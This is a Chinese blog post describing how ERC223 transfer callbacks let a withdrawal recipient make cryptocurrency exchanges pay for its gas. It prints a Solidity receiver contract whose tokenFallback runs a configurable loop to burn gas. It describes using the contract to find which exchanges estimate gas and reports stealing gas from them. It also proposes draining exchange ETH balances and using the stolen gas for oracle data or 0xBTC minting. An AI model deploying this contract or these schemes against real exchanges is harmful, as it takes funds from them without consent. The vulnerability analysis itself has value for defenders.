ERC223 GAS费窃取问题

ERC223 是一种基于 ERC20 标准的代币,它与 ERC20 不一样的是,如果转账的 receiver 是合约地址,则会调用合约地址的特定函数。这就好像支付宝和微信支付的通知回调接口一样。

      if (isUserAddress == false) {        ERC223ContractInterface receiver = ERC223ContractInterface(_to);        receiver.tokenFallback(msg.sender, _value, _data);      }

 

当然 ERC 677 和 ERC 777 也有类似的问题,不过他们的钩子不在 transfer 方法中,所以对交易所不会造成影响。

Tx.origin的担忧

因此我们能联想到的是如果在 ERC223 中 msg.sender 发送一笔交易,他如果参与了使用 tx.origin 做验证的缺陷合约(代币、理财)那是不是有安全问题。因此为了规避此类安全问题,通常会要求交易所将该币种与其他币种做业务隔离,单独分配一个地址做此项业务。

Estimate Gas

其次是在完成这一类判断以后,仍要注意的是,钱包是否在转账的时是否 estimateGas ,还是设定为一个固定值。如果 estimateGas 则会有问题,他们可以通过提币的方式来窃取你的gas,做更多额外的事情。

 

 

EIP1559

在 EIP1559 以后做了一个重大的更新,交易费分为了基本费(base fee)、小费(priority fee)、最高费用(max fee)。并且如果一笔交易你仅用了部分gas,那么将会退还你的部分费用。

用户退款金额=最高费用-(基本费+小费)

在 EIP1559 以后有部分交易所利用了这一特性,直接在每一笔 transfer 中给出了最高费用,100万。

 

 

 

 

我实际在交易所中支出的提币手续费仅价值 3U ,但是我却窃取到了价值 40 U的 gas。以下是接收合约的代码,只是不断的在浪费gas,通过此脚本可以测算出哪些交易所在 estimateGas 。哪些交易所在 固定gas ,哪些交易所在 gas不够的情况下会追加gas 重新发送交易。

/** *Submitted for verification at Etherscan.io on 2022-06-21*/pragma solidity ^0.8.0; /** * @title Contract that will work with ERC223 tokens. */abstract contract IERC223Recipient { struct ERC223TransferInfo    {        address token_contract;        address sender;        uint256 value;        bytes   data;    }    ERC223TransferInfo private tkn;    uint256 loopnum;/** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from  Token sender address. * @param _value Amount of tokens. * @param _data  Transaction metadata. */    function tokenFallback(address _from, uint _value, bytes memory _data) public virtual{        /**         * @dev Note that inside of the token transaction handler the actual sender of token transfer is accessible via the tkn.sender variable         * (analogue of msg.sender for Ether transfers)         *          * tkn.value - is the amount of transferred tokens         * tkn.data  - is the "metadata" of token transfer         * tkn.token_contract is most likely equal to msg.sender because the token contract typically invokes this function        */        tkn.token_contract = msg.sender;        tkn.sender         = _from;        tkn.value          = _value;        tkn.data           = _data;        for (uint i = 3; i <= loopnum; i++) {            require(i-1 > 1);        }        // ACTUAL CODE    }}contract MyContract is IERC223Recipient {    function setnum(uint256 num) public {        loopnum = num;    }}

 

窃取gas的用途

漏洞的利用场景很值得思考,如果仅是损人不利己,那么似乎是个鸡肋漏洞。虽然在测试中在我提币失败以后,交易所全额退还了我的交易费。这意味着我们可以利用此漏洞在gas高的时候刷光交易所的ETH余额。

 

 

 

 

预言机场景

100万gas可以做很多事情,通常完成转账只需要10万gas,剩余的90万可以用来做预言机。当然不能作为价格预言机。

transfer(address _to, uint256 _value)

 

在transfer中 value是可控的,在减去交易所提币手续费后,我们可以用 value 作为一个可控的变量传输数据到区块链链上。

0xBTC

0xBTC是一个链下挖矿,推送ETH链上的Mint的有趣的小币。通常来说一笔 Mint 会在 27w gas左右。如果漏洞利用得当,你将获得比寻常矿工更低的成本。

 

posted @ 2022-06-22 13:22  EnochLin  阅读(63)  评论(0编辑  收藏  举报